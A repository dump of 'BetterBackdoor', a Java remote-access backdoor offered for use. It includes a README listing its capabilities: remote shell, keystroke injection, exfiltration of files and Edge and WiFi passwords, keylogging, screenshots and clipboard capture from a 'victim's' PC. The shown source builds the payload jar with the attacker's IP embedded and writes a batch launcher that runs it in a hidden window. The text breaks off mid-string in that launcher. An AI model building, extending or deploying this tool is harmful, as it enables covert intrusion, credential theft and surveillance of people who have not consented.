Repository: thatcherclough/BetterBackdoor Branch: master Commit: 7a571d5d2bb2 Files: 19 Total size: 86.8 KB Directory structure: gitextract_4_znkum5/ ├── .gitignore ├── .mvn/ │ └── wrapper/ │ ├── MavenWrapperDownloader.java │ ├── maven-wrapper.jar │ └── maven-wrapper.properties ├── LICENSE ├── README.md ├── mvnw ├── mvnw.cmd ├── pom.xml └── src/ └── main/ └── java/ └── dev/ └── thatcherclough/ └── betterbackdoor/ ├── BetterBackdoor.java ├── Setup.java ├── backdoor/ │ ├── Backdoor.java │ └── HandleCommand.java ├── backend/ │ ├── DuckyScripts.java │ ├── FTP.java │ ├── KeyLogger.java │ └── Utils.java └── shell/ ├── HandleCommand.java └── Shell.java ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ /target/ /jre/ /backdoor/ .DS_Store /*.jar /gathered /.idea/ BetterBackdoor.iml /keys.txt ================================================ FILE: .mvn/wrapper/MavenWrapperDownloader.java ================================================ /* Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at https://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.net.URL; import java.nio.channels.Channels; import java.nio.channels.ReadableByteChannel; import java.util.Properties; public class MavenWrapperDownloader { /** * Default URL to download the maven-wrapper.jar from, if no 'downloadUrl' is provided. */ private static final String DEFAULT_DOWNLOAD_URL = "https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar"; /** * Path to the maven-wrapper.properties file, which might contain a downloadUrl property to * use instead of the default one. */ private static final String MAVEN_WRAPPER_PROPERTIES_PATH = ".mvn/wrapper/maven-wrapper.properties"; /** * Path where the maven-wrapper.jar will be saved to. */ private static final String MAVEN_WRAPPER_JAR_PATH = ".mvn/wrapper/maven-wrapper.jar"; /** * Name of the property which should be used to override the default download url for the wrapper. */ private static final String PROPERTY_NAME_WRAPPER_URL = "wrapperUrl"; public static void main(String args[]) { System.out.println("- Downloader started"); File baseDirectory = new File(args[0]); System.out.println("- Using base directory: " + baseDirectory.getAbsolutePath()); // If the maven-wrapper.properties exists, read it and check if it contains a custom // wrapperUrl parameter. File mavenWrapperPropertyFile = new File(baseDirectory, MAVEN_WRAPPER_PROPERTIES_PATH); String url = DEFAULT_DOWNLOAD_URL; if(mavenWrapperPropertyFile.exists()) { FileInputStream mavenWrapperPropertyFileInputStream = null; try { mavenWrapperPropertyFileInputStream = new FileInputStream(mavenWrapperPropertyFile); Properties mavenWrapperProperties = new Properties(); mavenWrapperProperties.load(mavenWrapperPropertyFileInputStream); url = mavenWrapperProperties.getProperty(PROPERTY_NAME_WRAPPER_URL, url); } catch (IOException e) { System.out.println("- ERROR loading '" + MAVEN_WRAPPER_PROPERTIES_PATH + "'"); } finally { try { if(mavenWrapperPropertyFileInputStream != null) { mavenWrapperPropertyFileInputStream.close(); } } catch (IOException e) { // Ignore ... } } } System.out.println("- Downloading from: : " + url); File outputFile = new File(baseDirectory.getAbsolutePath(), MAVEN_WRAPPER_JAR_PATH); if(!outputFile.getParentFile().exists()) { if(!outputFile.getParentFile().mkdirs()) { System.out.println( "- ERROR creating output direcrory '" + outputFile.getParentFile().getAbsolutePath() + "'"); } } System.out.println("- Downloading to: " + outputFile.getAbsolutePath()); try { downloadFileFromURL(url, outputFile); System.out.println("Done"); System.exit(0); } catch (Throwable e) { System.out.println("- Error downloading"); e.printStackTrace(); System.exit(1); } } private static void downloadFileFromURL(String urlString, File destination) throws Exception { URL website = new URL(urlString); ReadableByteChannel rbc; rbc = Channels.newChannel(website.openStream()); FileOutputStream fos = new FileOutputStream(destination); fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE); fos.close(); rbc.close(); } } ================================================ FILE: .mvn/wrapper/maven-wrapper.properties ================================================ distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.6.0/apache-maven-3.6.0-bin.zip ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2020 ThatcherDev Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ # BetterBackdoor A backdoor is a tool used to gain remote access to a machine. Typically, backdoor utilities such as NetCat have two main functions: to pipe remote input into cmd or bash and output the response. This is useful, but it is also limited. BetterBackdoor overcomes these limitations by including the ability to inject keystrokes, get screenshots, transfer files, and many other tasks. ## Features BetterBackdoor can create and control a backdoor. This created backdoor can: - Open a command prompt shell - Run PowerShell scripts - Run DuckyScripts to inject keystrokes - Exfiltrate files based on extension - Exfiltrate Microsoft Edge and WiFi passwords - Send and receive files to and from victim's computer - Start a KeyLogger - Get a screenshot of victim's computer - Get text copied to victim's clipboard - Get contents from a victim's file (cat) - Compress a directory to a ZIP file - Decompress a ZIP file This backdoor uses a client and server socket connection to communicate. The attacker starts a server, and the victim connects to this server as a client. (Note: if multiple clients attempt to connect, the user is prompted to select which client to connect to) Once a connection is established, commands can be sent to the client in order to control the backdoor. To create the backdoor, BetterBackdoor: - Creates 'run.jar', the backdoor jar file, and copies it to directory 'backdoor'. - Appends a text file containing the attacker's IP address and an encryption key (if the attacker selected to encrypt the data sent to and from the backdoor) to 'run.jar'. - Note: this data is written in plain text. - If desired, copies a Java Runtime Environment to 'backdoor' and creates batch file 'run.bat' for running the backdoor in the packaged Java Runtime Environment. The backdoor can operate within a single network, LAN, and over the internet, WAN. However, in order to use the backdoor over WAN, port forwarding must be done. For WAN use, ports 1025 and 1026 must be forwarded from the attackers computer with TCP selected. Once this is done, the backdoor can be controlled by the attacker even when the victim and attacker are on different networks. To start the backdoor on a victim PC, transfer all files from the directory 'backdoor' onto a victim PC. If a JRE is packaged with the backdoor, execute run.bat, otherwise execute run.jar. This will start the backdoor on the victim's PC. Once running, to control the backdoor you must return to BetterBackdoor and run option 1 at start. ## Demo ## Requirements - A Java JDK distribution >=8 must be installed and added to PATH. - You must use the same computer to create and control the backdoor. - The IP address of this computer must remain static in the time between creating the backdoor and controlling it. - The computer used to control the backdoor must have their firewall deactivated, and if the computer has a Unix OS, must run BetterBackdoor as 'sudo'. ## Compatibility BetterBackdoor is compatible with Windows, Mac, and Linux, while the backdoor is only compatible with Windows. ## Installation ``` # clone BetterBackdoor git clone https://github.com/thatcherclough/BetterBackdoor.git # change the working directory to BetterBackdoor cd BetterBackdoor # build BetterBackdoor with Maven # for Windows run mvnw.cmd clean package # for Linux and Mac run sh mvnw clean package ``` ## Usage ``` java -jar betterbackdoor.jar ``` ## License - [MIT](https://choosealicense.com/licenses/mit/) - Copyright 2020 © Thatcher Clough. ================================================ FILE: mvnw ================================================ #!/bin/sh # ---------------------------------------------------------------------------- # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # ---------------------------------------------------------------------------- # ---------------------------------------------------------------------------- # Maven2 Start Up Batch script # # Required ENV vars: # ------------------ # JAVA_HOME - location of a JDK home dir # # Optional ENV vars # ----------------- # M2_HOME - location of maven2's installed home dir # MAVEN_OPTS - parameters passed to the Java VM when running Maven # e.g. to debug Maven itself, use # set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 # MAVEN_SKIP_RC - flag to disable loading of mavenrc files # ---------------------------------------------------------------------------- if [ -z "$MAVEN_SKIP_RC" ] ; then if [ -f /etc/mavenrc ] ; then . /etc/mavenrc fi if [ -f "$HOME/.mavenrc" ] ; then . "$HOME/.mavenrc" fi fi # OS specific support. $var _must_ be set to either true or false. cygwin=false; darwin=false; mingw=false case "`uname`" in CYGWIN*) cygwin=true ;; MINGW*) mingw=true;; Darwin*) darwin=true # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home # See https://developer.apple.com/library/mac/qa/qa1170/_index.html if [ -z "$JAVA_HOME" ]; then if [ -x "/usr/libexec/java_home" ]; then export JAVA_HOME="`/usr/libexec/java_home`" else export JAVA_HOME="/Library/Java/Home" fi fi ;; esac if [ -z "$JAVA_HOME" ] ; then if [ -r /etc/gentoo-release ] ; then JAVA_HOME=`java-config --jre-home` fi fi if [ -z "$M2_HOME" ] ; then ## resolve links - $0 may be a link to maven's home PRG="$0" # need this for relative symlinks while [ -h "$PRG" ] ; do ls=`ls -ld "$PRG"` link=`expr "$ls" : '.*-> \(.*\)$'` if expr "$link" : '/.*' > /dev/null; then PRG="$link" else PRG="`dirname "$PRG"`/$link" fi done saveddir=`pwd` M2_HOME=`dirname "$PRG"`/.. # make it fully qualified M2_HOME=`cd "$M2_HOME" && pwd` cd "$saveddir" # echo Using m2 at $M2_HOME fi # For Cygwin, ensure paths are in UNIX format before anything is touched if $cygwin ; then [ -n "$M2_HOME" ] && M2_HOME=`cygpath --unix "$M2_HOME"` [ -n "$JAVA_HOME" ] && JAVA_HOME=`cygpath --unix "$JAVA_HOME"` [ -n "$CLASSPATH" ] && CLASSPATH=`cygpath --path --unix "$CLASSPATH"` fi # For Mingw, ensure paths are in UNIX format before anything is touched if $mingw ; then [ -n "$M2_HOME" ] && M2_HOME="`(cd "$M2_HOME"; pwd)`" [ -n "$JAVA_HOME" ] && JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`" # TODO classpath? fi if [ -z "$JAVA_HOME" ]; then javaExecutable="`which javac`" if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then # readlink(1) is not available as standard on Solaris 10. readLink=`which readlink` if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then if $darwin ; then javaHome="`dirname \"$javaExecutable\"`" javaExecutable="`cd \"$javaHome\" && pwd -P`/javac" else javaExecutable="`readlink -f \"$javaExecutable\"`" fi javaHome="`dirname \"$javaExecutable\"`" javaHome=`expr "$javaHome" : '\(.*\)/bin'` JAVA_HOME="$javaHome" export JAVA_HOME fi fi fi if [ -z "$JAVACMD" ] ; then if [ -n "$JAVA_HOME" ] ; then if [ -x "$JAVA_HOME/jre/sh/java" ] ; then # IBM's JDK on AIX uses strange locations for the executables JAVACMD="$JAVA_HOME/jre/sh/java" else JAVACMD="$JAVA_HOME/bin/java" fi else JAVACMD="`which java`" fi fi if [ ! -x "$JAVACMD" ] ; then echo "Error: JAVA_HOME is not defined correctly." >&2 echo " We cannot execute $JAVACMD" >&2 exit 1 fi if [ -z "$JAVA_HOME" ] ; then echo "Warning: JAVA_HOME environment variable is not set." fi CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher # traverses directory structure from process work directory to filesystem root # first directory with .mvn subdirectory is considered project base directory find_maven_basedir() { if [ -z "$1" ] then echo "Path not specified to find_maven_basedir" return 1 fi basedir="$1" wdir="$1" while [ "$wdir" != '/' ] ; do if [ -d "$wdir"/.mvn ] ; then basedir=$wdir break fi # workaround for JBEAP-8937 (on Solaris 10/Sparc) if [ -d "${wdir}" ]; then wdir=`cd "$wdir/.."; pwd` fi # end of workaround done echo "${basedir}" } # concatenates all lines of a file concat_lines() { if [ -f "$1" ]; then echo "$(tr -s '\n' ' ' < "$1")" fi } BASE_DIR=`find_maven_basedir "$(pwd)"` if [ -z "$BASE_DIR" ]; then exit 1; fi ########################################################################################## # Extension to allow automatically downloading the maven-wrapper.jar from Maven-central # This allows using the maven wrapper in projects that prohibit checking in binary data. ########################################################################################## if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then if [ "$MVNW_VERBOSE" = true ]; then echo "Found .mvn/wrapper/maven-wrapper.jar" fi else if [ "$MVNW_VERBOSE" = true ]; then echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..." fi jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar" while IFS="=" read key value; do case "$key" in (wrapperUrl) jarUrl="$value"; break ;; esac done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties" if [ "$MVNW_VERBOSE" = true ]; then echo "Downloading from: $jarUrl" fi wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" if command -v wget > /dev/null; then if [ "$MVNW_VERBOSE" = true ]; then echo "Found wget ... using wget" fi wget "$jarUrl" -O "$wrapperJarPath" elif command -v curl > /dev/null; then if [ "$MVNW_VERBOSE" = true ]; then echo "Found curl ... using curl" fi curl -o "$wrapperJarPath" "$jarUrl" else if [ "$MVNW_VERBOSE" = true ]; then echo "Falling back to using Java to download" fi javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java" if [ -e "$javaClass" ]; then if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then if [ "$MVNW_VERBOSE" = true ]; then echo " - Compiling MavenWrapperDownloader.java ..." fi # Compiling the Java class ("$JAVA_HOME/bin/javac" "$javaClass") fi if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then # Running the downloader if [ "$MVNW_VERBOSE" = true ]; then echo " - Running MavenWrapperDownloader.java ..." fi ("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR") fi fi fi fi ########################################################################################## # End of extension ########################################################################################## export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"} if [ "$MVNW_VERBOSE" = true ]; then echo $MAVEN_PROJECTBASEDIR fi MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS" # For Cygwin, switch paths to Windows format before running java if $cygwin; then [ -n "$M2_HOME" ] && M2_HOME=`cygpath --path --windows "$M2_HOME"` [ -n "$JAVA_HOME" ] && JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"` [ -n "$CLASSPATH" ] && CLASSPATH=`cygpath --path --windows "$CLASSPATH"` [ -n "$MAVEN_PROJECTBASEDIR" ] && MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"` fi WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain exec "$JAVACMD" \ $MAVEN_OPTS \ -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \ "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" ================================================ FILE: mvnw.cmd ================================================ @REM ---------------------------------------------------------------------------- @REM Licensed to the Apache Software Foundation (ASF) under one @REM or more contributor license agreements. See the NOTICE file @REM distributed with this work for additional information @REM regarding copyright ownership. The ASF licenses this file @REM to you under the Apache License, Version 2.0 (the @REM "License"); you may not use this file except in compliance @REM with the License. You may obtain a copy of the License at @REM @REM https://www.apache.org/licenses/LICENSE-2.0 @REM @REM Unless required by applicable law or agreed to in writing, @REM software distributed under the License is distributed on an @REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY @REM KIND, either express or implied. See the License for the @REM specific language governing permissions and limitations @REM under the License. @REM ---------------------------------------------------------------------------- @REM ---------------------------------------------------------------------------- @REM Maven2 Start Up Batch script @REM @REM Required ENV vars: @REM JAVA_HOME - location of a JDK home dir @REM @REM Optional ENV vars @REM M2_HOME - location of maven2's installed home dir @REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands @REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending @REM MAVEN_OPTS - parameters passed to the Java VM when running Maven @REM e.g. to debug Maven itself, use @REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 @REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files @REM ---------------------------------------------------------------------------- @REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' @echo off @REM set title of command window title %0 @REM enable echoing my setting MAVEN_BATCH_ECHO to 'on' @if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% @REM set %HOME% to equivalent of $HOME if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") @REM Execute a user defined script before this one if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre @REM check for pre script, once with legacy .bat ending and once with .cmd ending if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat" if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd" :skipRcPre @setlocal set ERROR_CODE=0 @REM To isolate internal variables from possible post scripts, we use another setlocal @setlocal @REM ==== START VALIDATION ==== if not "%JAVA_HOME%" == "" goto OkJHome echo. echo Error: JAVA_HOME not found in your environment. >&2 echo Please set the JAVA_HOME variable in your environment to match the >&2 echo location of your Java installation. >&2 echo. goto error :OkJHome if exist "%JAVA_HOME%\bin\java.exe" goto init echo. echo Error: JAVA_HOME is set to an invalid directory. >&2 echo JAVA_HOME = "%JAVA_HOME%" >&2 echo Please set the JAVA_HOME variable in your environment to match the >&2 echo location of your Java installation. >&2 echo. goto error @REM ==== END VALIDATION ==== :init @REM Find the project base dir, i.e. the directory that contains the folder ".mvn". @REM Fallback to current working directory if not found. set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir set EXEC_DIR=%CD% set WDIR=%EXEC_DIR% :findBaseDir IF EXIST "%WDIR%"\.mvn goto baseDirFound cd .. IF "%WDIR%"=="%CD%" goto baseDirNotFound set WDIR=%CD% goto findBaseDir :baseDirFound set MAVEN_PROJECTBASEDIR=%WDIR% cd "%EXEC_DIR%" goto endDetectBaseDir :baseDirNotFound set MAVEN_PROJECTBASEDIR=%EXEC_DIR% cd "%EXEC_DIR%" :endDetectBaseDir IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig @setlocal EnableExtensions EnableDelayedExpansion for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a @endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% :endReadAdditionalConfig SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar" FOR /F "tokens=1,2 delims==" %%A IN (%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties) DO ( IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B ) @REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central @REM This allows using the maven wrapper in projects that prohibit checking in binary data. if exist %WRAPPER_JAR% ( echo Found %WRAPPER_JAR% ) else ( echo Couldn't find %WRAPPER_JAR%, downloading it ... echo Downloading from: %DOWNLOAD_URL% powershell -Command "(New-Object Net.WebClient).DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')" echo Finished downloading %WRAPPER_JAR% ) @REM End of extension %MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* if ERRORLEVEL 1 goto error goto end :error set ERROR_CODE=1 :end @endlocal & set ERROR_CODE=%ERROR_CODE% if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost @REM check for post script, once with legacy .bat ending and once with .cmd ending if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat" if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd" :skipRcPost @REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' if "%MAVEN_BATCH_PAUSE%" == "on" pause if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE% exit /B %ERROR_CODE% ================================================ FILE: pom.xml ================================================ 4.0.0 org.springframework.boot spring-boot-starter-parent 2.1.8.RELEASE dev.thatcherclough BetterBackdoor 0.0.1-SNAPSHOT BetterBackdoor A backdoor with a multitude of features. 1.8 org.springframework.boot spring-boot-starter org.springframework.boot spring-boot-starter-test test commons-io commons-io 2.7 com.1stleg jnativehook 2.0.2 org.springframework.boot spring-boot-maven-plugin betterbackdoor package betterbackdoor dev.thatcherclough.betterbackdoor.BetterBackdoor ${project.basedir} repackage backdoor package run dev.thatcherclough.betterbackdoor.backdoor.Backdoor repackage ================================================ FILE: src/main/java/dev/thatcherclough/betterbackdoor/BetterBackdoor.java ================================================ package dev.thatcherclough.betterbackdoor; import java.io.File; import java.nio.file.Paths; import java.security.NoSuchAlgorithmException; import java.util.Base64; import java.util.Objects; import java.util.Scanner; import dev.thatcherclough.betterbackdoor.backend.Utils; import dev.thatcherclough.betterbackdoor.shell.Shell; import org.springframework.boot.autoconfigure.SpringBootApplication; import javax.crypto.*; @SpringBootApplication public class BetterBackdoor { public final static Scanner sc = new Scanner(System.in); public final static String os = System.getProperty("os.name"); /** * Starts BetterBackdoor. * * @param args command line arguments */ public static void main(String[] args) { System.out.println("_________ __ __ __________ __ .___\n" + "\\_____ \\ _____/ |__/ |_ __________\\______ \\______ ____ | | __ __| _/____ ___________ \n" + " | | _// __ \\ __\\ __\\/ __ \\_ __ \\ | _/\\__ \\ _/ ___\\| |/ // __ |/ _ \\ / _ \\_ __ \\\n" + " | | \\ ___/| | | | \\ ___/| | \\/ | \\ / __ \\\\ \\___| | <_> ) | \\/\n" + " |______ /\\___ >__| |__| \\___ >__| |______ /(____ /\\___ >__|_ \\____ |\\____/ \\____/|__|\n" + " \\/ \\/ \\/ \\/ \\/ \\/ \\/ \\/"); System.out.println("Welcome to BetterBackdoor\n"); System.out.println("Select:"); System.out.println("[0] Create backdoor"); System.out.println("[1] Open backdoor shell"); String choice = getInput("op01"); if (choice.equals("0")) { try { System.out.println("Would you like this backdoor to operate within a single network, LAN, or over the internet, WAN (requires port forwarding):"); System.out.println("[0] LAN"); System.out.println("[1] WAN (requires port forwarding)"); String ipType = getInput("op01").equals("0") ? "internal" : "external"; String encryptionKey = null; System.out.println("Would you like to encrypt data sent to and from the backdoor using an automatically generated 128 bit AES encryption key?(y/n):"); boolean encrypt = Boolean.parseBoolean(getInput("yn")); if (encrypt) { KeyGenerator keyGenerator; try { keyGenerator = KeyGenerator.getInstance("AES"); } catch (NoSuchAlgorithmException e) { throw new Exception("Could not generate encryption key."); } Objects.requireNonNull(keyGenerator).init(128); encryptionKey = Base64.getEncoder().encodeToString(keyGenerator.generateKey().getEncoded()); System.out.println("Automatically generated key: " + encryptionKey + "\n"); } boolean jre = false; if (os.contains("Windows")) { System.out.println( "Would you like to package the Java Runtime Environment from your computer with the backdoor\nso it can be run on computers without Java " + "installed?" + "(y/n):"); jre = Boolean.parseBoolean(getInput("yn")); } else System.out.println( "If you would like to package a Java Runtime Environment with the backdoor so it can be run on computers without Java,\n" + "in the current working directory create folder 'jre' containing 'bin' and 'lib' directories from a Windows JRE distribution.\n"); System.out.println("Press ENTER to create backdoor..."); sc.nextLine(); System.out.println("Creating...\n"); Setup.create(jre, ipType, encryptionKey); System.out.println("Created!\n"); if (ipType.equals("external")) System.out.println( "Using your routers settings page, forward ports 1025 and 1026 from this computer (" + Utils.getIP("internal") + ") with TCP selected.\n"); System.out.println( "To start the backdoor on a victim PC, transfer all files from the directory 'backdoor' onto a victim PC.\n" + "If a JRE is packaged with the backdoor, execute run.bat, otherwise execute run.jar.\n" + "This will start the backdoor on the victim's PC.\n" + "To control the backdoor, return to BetterBackdoor and run option 1 at start.\n"); if (encrypt) { String keysFilepath = System.getProperty("user.dir") + File.separator + "keys.txt"; System.out.println("***IMPORTANT***\nEncryption key: " + encryptionKey + "\nThe encryption key is stored both inside of run.jar (the backdoor) and in '" + keysFilepath + "' on the current machine.\nIf 'keys.txt' gets deleted, you will be given an option to manually input the key when " + "connecting to the backdoor.\nWithout this key you will not be able to control the backdoor.\n"); } System.out.println("Press ENTER to exit..."); sc.nextLine(); } catch (Exception e) { if (e.getMessage() == null) error("Could not create backdoor"); else error("Could not create backdoor:\n" + e.getMessage()); } } else Shell.start(); } /** * Gets user input and verify it's validity with {@code type}. * * @param type type of input * @return user input */ public static String getInput(String type) { System.out.print(">"); String ret = sc.nextLine(); if (ret.isEmpty()) return getInput(type); else if (type.equals("file") && !new File(ret).exists()) { System.out.println("\nFile not found\nEnter a valid file path:"); return getInput(type); } else if (type.equals("yn") && !(ret.equalsIgnoreCase("y") || ret.equalsIgnoreCase("n"))) { System.out.println("\nInvalid entry\nEnter 'y' or 'n':"); return getInput(type); } else if (type.startsWith("op") && (!type.substring(2).contains(ret) || !(ret.length() == 1))) return getInput(type); else System.out.println(); if (type.equals("file")) return Paths.get(ret).toString(); else if (type.equals("yn")) if (ret.equals("y")) return "true"; else return "false"; else return ret; } /** * Displays "An error occurred" followed by {@code errorMessage} and exits. * * @param errorMessage error message to display */ public static void error(String errorMessage) { System.out.println("An error occurred:\n" + errorMessage + "\n"); System.exit(0); } } ================================================ FILE: src/main/java/dev/thatcherclough/betterbackdoor/Setup.java ================================================ package dev.thatcherclough.betterbackdoor; import java.io.*; import java.net.URI; import java.nio.charset.StandardCharsets; import java.nio.file.FileSystem; import java.nio.file.FileSystems; import java.nio.file.Files; import java.nio.file.Paths; import java.nio.file.StandardOpenOption; import java.util.HashMap; import java.util.Map; import dev.thatcherclough.betterbackdoor.backend.Utils; import org.apache.commons.io.FileUtils; public class Setup { /** * Sets up backdoor. *

* If {@code packageJre} is true, copies the current machines JRE to directory * 'backdoor' and {@code #createBat(String, String, String)} is used to create a * '.bat' file for running the backdoor in the JRE. If {@code packageJre} is * false but directory 'jre' containing a Windows JRE distribution exists, 'jre' * is copied to 'backdoor' and {@code #createBat(String, String, String)} is * used to create a '.bat' file for running the backdoor in the JRE. 'run.jar' * is copied from 'target' to 'backdoor' and 'info' is appended into it using * {@code #appendJar(String, String, String)}. If {@code ipType} is "internal", * 'info' will contain the internal IP address of the current machine. Otherwise, * if {@code ipType} is "external", 'info' will contain the external IP address of * the current machine. If {@code encryptionKey} is not null, 'info' will also contain * {@code encryptionKey}. * * @param packageJre if a JRE should be packaged with the backdoor * @param ipType type of IP address to append to 'run.jar' * @param encryptionKey key to be used to encrypt backdoor data * @throws IOException */ public static void create(boolean packageJre, String ipType, String encryptionKey) throws IOException { if (packageJre) { String jrePath = System.getProperty("java.home"); FileUtils.copyDirectory(new File(jrePath + File.separator + "bin"), new File("backdoor" + File.separator + "jre" + File.separator + "bin")); FileUtils.copyDirectory(new File(jrePath + File.separator + "lib"), new File("backdoor" + File.separator + "jre" + File.separator + "lib")); createBat("backdoor" + File.separator + "run.bat"); } else if (new File("jre").isDirectory()) { FileUtils.copyDirectory(new File("jre"), new File("backdoor" + File.separator + "jre")); createBat("backdoor" + File.separator + "run.bat"); } FileUtils.copyFile(new File("target" + File.separator + "run.jar"), new File("backdoor" + File.separator + "run.jar")); String info = Utils.getIP(ipType); if (encryptionKey != null) { PrintWriter out = new PrintWriter(new BufferedWriter(new FileWriter("keys.txt", true))); out.println(encryptionKey); out.flush(); out.close(); info += "-" + encryptionKey; } appendJar("backdoor" + File.separator + "run.jar", "/info", info); } /** * Creates a '.bat' batch file for running a jar file in a Java Runtime * Environment. * * @param filePath path of '.bat' batch file to create * @throws FileNotFoundException */ private static void createBat(String filePath) throws FileNotFoundException { PrintWriter out = new PrintWriter(new File(filePath)); out.println( "@echo off\n%~d0 & cd %~dp0\necho Set objShell = WScript.CreateObject(\"WScript.Shell\")>run.vbs\necho objShell.Run \"cmd /c " + "jre\\bin\\java -jar run.jar\", ^0, True>>run.vbs\nstart run.vbs\ncall:delvbs\n:delvbs\nif exist run.vbs (\n timeout 3 > nul\n del run.vbs\n " + 